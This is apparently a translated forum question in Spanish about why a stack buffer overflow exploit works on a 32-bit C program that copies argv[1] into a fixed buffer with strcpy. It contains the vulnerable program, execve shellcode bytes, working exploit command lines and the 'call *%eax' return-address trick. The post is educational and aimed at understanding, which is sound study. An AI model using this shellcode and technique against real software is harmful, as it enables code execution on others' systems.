Dado este programa en C:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[1024];
strcpy(buf, argv[1]);
}
Construido con:
gcc -m32 -z execstack prog.c -o prog
Código de shell dado:
EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')
El programa es explotable con los comandos:
./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')
donde obtuve las direcciones de:
$ objdump -d prog | grep call.*eax
8048387: ff d0 call *%eax
804840f: ff d0 call *%eax
Entiendo el significado de los rellenos AAAA
en el medio, calculé el 991 según la longitud de buf
en el programa y la longitud de $EGG
.
Lo que no entiendo es por qué cualquiera de estas direcciones con call *%eax
desencadena la ejecución del shellcode copiado al principio de buf
. Por lo que entiendo, estoy sobrescribiendo la dirección de retorno con 0x8048387
(o la otra), lo que no entiendo es por qué esto lleva a saltar al código de shell.
Llegué tan lejos al leer Aplastar la pila por diversión y beneficio . Pero el artículo utiliza un enfoque diferente de adivinar una dirección relativa para saltar al shellcode. Estoy desconcertado por la razón por la que funciona esta solución alternativa más simple, directa y sin conjeturas.